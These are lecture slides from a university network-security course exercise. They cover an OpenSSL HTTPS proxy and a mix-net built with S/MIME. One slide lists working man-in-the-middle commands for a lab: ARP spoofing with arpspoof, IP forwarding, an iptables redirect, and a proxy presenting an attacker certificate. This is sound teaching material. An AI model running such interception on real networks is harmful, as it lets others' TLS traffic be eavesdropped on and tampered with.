NetSec Exercise 8 Communication Mixes

NetSec Exercise 8 Communication Mixes Thomas Schneider Computer Networks and Communication Systems Dept. of Computer Sciences, University of Erlangen-Nuremberg, Germany 8. 11.1.2008 Thomas Schneider: NetSec Exercise 8 Communication Mixes 1 / 22

Exercise HTTPS Proxy (wproxy) wproxy = wserver + wclient: 1 incoming SSL connection from client: initialize_ctx(proxykey,proxycert), tcp_listen, while(1): accept, fork, SSL_accept 2 new SSL connection to server: initialize_ctx, tcp_connect, SSL_connect 3 read GET request from client, to stdout and server: while(1): BIO_gets(client buf), fwrite(buf stdout), SSL_write(buf server), blank line break 4 read HTTP response from server, to stdout and client: while(1): SSL_read(server buf), if(ssl_get_error()==ssl_error_zero_return) break, fwrite(buf stdout), SSL_write(buf client) 5 shutdown SSL and TCP connections for client and server: SSL_shutdown, close Thomas Schneider: NetSec Exercise 8 Communication Mixes 2 / 22

Practical Attack: ARP-Spoofing + HTTPS Proxy Client Server wclient -h proxyip -p 4444 -v wserver SSL Proxy (Attacker) SSL IP: serverip Port: 4433 IP: proxyip Port: 4444 Exercise 7, 5f: wproxy -p 4444 -i serverip -c attackcert.pem arpspoof -i eth1 -t <IP_Client> <IP_Server> arpspoof -i eth1 -t <IP_Server> <IP_Client> ssh -Y <host> ssh -Y <host> ssh -Y <host> echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -i eth1 \ -p tcp --dport 4433 -j REDIRECT \ --to-port 4433 wproxy -p 4433 -i <IP_Server> \ -c attackcert.pem Port 14 192.168.10X.1 192.168.10X.2 192.168.10X.254 Port 2 Port 19 VLAN 400X Thomas Schneider: NetSec Exercise 8 Communication Mixes 4 / 22

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Exercise MixNet Implement mixnode and mixclient for a mix net OpenSSL for digital signatures and asymmetric encryption Messages encoded with S/MIME To: header contains hostname of next mix. Mixes are connected via plain TCP/IP port 4444 (no SSL) Use private key (groupkey.pem) and certificate (groupcert.pem) of your group certificates for decrypting messages sent to your mixnode Thomas Schneider: NetSec Exercise 8 Communication Mixes 7 / 22

S/MIME (Secure/Multipurpose Internet Mail Extens.) Standard for public key encryption and signing of messages (email) MIME defines how the body of a mail is structured S/MIME signs/encrypts body of messages (not header) S/MIME encrypted message body format MIME-Version: 1.0 Content-Disposition: attachment; filename="smime.p7m" Content-Type: application/x-pkcs7-mime; smime-type=\ enveloped-data; name="smime.p7m" Content-Transfer-Encoding: base64 MIIJMgYJKoZIhvcNAQcDoIIJIzC... Thomas Schneider: NetSec Exercise 8 Communication Mixes 9 / 22

S/MIME signed message body format MIME-Version: 1.0 Content-Type: multipart/signed; protocol=\ "application/x-pkcs7-signature"; micalg=sha1; \ boundary="----92b858ac09e7231793cc2e727df4db73" This is an S/MIME signed message ------92B858AC09E7231793CC2E727DF4DB73 Message Text ------92B858AC09E7231793CC2E727DF4DB73 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIINbAYJKoZIhvcNAQcCoI... ------92B858AC09E7231793CC2E727DF4DB73-- Thomas Schneider: NetSec Exercise 8 Communication Mixes 11 / 22

S/MIME with OpenSSL S/MIME support in OpenSSL (man smime): Sign: openssl smime -sign -in message.txt \ -inkey signkey.pem -signer signcert.pem \ > signed_message.txt Encrypt: openssl smime -encrypt -aes128 \ -in message.txt -to hostname_of_receiver \ receivercert.pem > encrypted_message.txt Sign+Encrypt: First sign, then encrypt openssl smime -sign... \ openssl smime -encrypt... \ (no -in parameter) > sign_enc_message.txt Thomas Schneider: NetSec Exercise 8 Communication Mixes 13 / 22

Prepare Mix message Prepare message m to be sent from A to B via M1 and M2: openssl smime -sign -in m.txt \ -inkey Akey.pem -signer Acert.pem \ openssl smime -encrypt -aes128 \ -to B_hostname Bcert.pem \ openssl smime -encrypt -aes128 \ -to M2_hostname M2cert.pem \ openssl smime -encrypt -aes128 \ -to M1_hostname M1cert.pem \ > mix_message.txt cat mix_message.txt To: M1_hostname MIME-Version: 1.0... Thomas Schneider: NetSec Exercise 8 Communication Mixes 15 / 22

Mixclient mixclient reads mixed message from stdin and delivers it to the first hostname (To:...) via TCP/IP port 4444: A>./mixclient < mix_message.txt Delivering message to M1_hostname Thomas Schneider: NetSec Exercise 8 Communication Mixes 17 / 22

Mixnode mixnode receives messages on TCP/IP port 4444, decrypts them with its groupkey.pem and groupcert.pem. Afterwards it checks, if another To:... is given in the decrypted message: YES, To: given: Deliver decrypted message to next mix given after To: via TCP/IP port 4444 M1>./mixnode Enter PEM pass phrase: Listening for incoming connections. --- Starting to process message from IP_A... Decrypting message... Delivering message to HOSTNAME_M2 Message processed. Thomas Schneider: NetSec Exercise 8 Communication Mixes 19 / 22

NO To: : Check if signature of sender is OK (certificate path to NetSecCA rootcert.pem) and output message B>./mixnode Enter PEM pass phrase: Listening for incoming connections. --- Starting to process message from IP_M3... Decrypting message... Verifying signature... Message from /C=DE/ST=Bavaria/L=Erlangen/O=FAU /OU=CS 7 / NetSec/CN=NetSec CA/emailAddress=... --- Message Text... --- Message processed. Thomas Schneider: NetSec Exercise 8 Communication Mixes 21 / 22

OpenSSL Coding Hints Load private key from file: PEM_read_PrivateKey Load X509 certificate from file: PEM_read_X509 Load root certificate from file: X509_STORE_new, X509_STORE_set_verify_cb_func(store,NULL), X509_STORE_add_lookup(store,X509_LOOKUP_file()), X509_LOOKUP_load_file(lookup, rootcert.pem,...) Show IP address of TCP connection: accept, inet_ntop Decrypt message: BIO_new_mem_buf, SMIME_read_PKCS7, bio_decrypted=bio_new(bio_s_mem()), PKCS7_decrypt Deliver to next mix ( To: ): BIO_gets, BIO_get_mem_data Check signature and show message (No To: ): SMIME_read_PKCS7, PKCS7_verify, PKCS7_get0_signers, sk_x509_value, X509_NAME_oneline Thomas Schneider: NetSec Exercise 8 Communication Mixes 22 / 22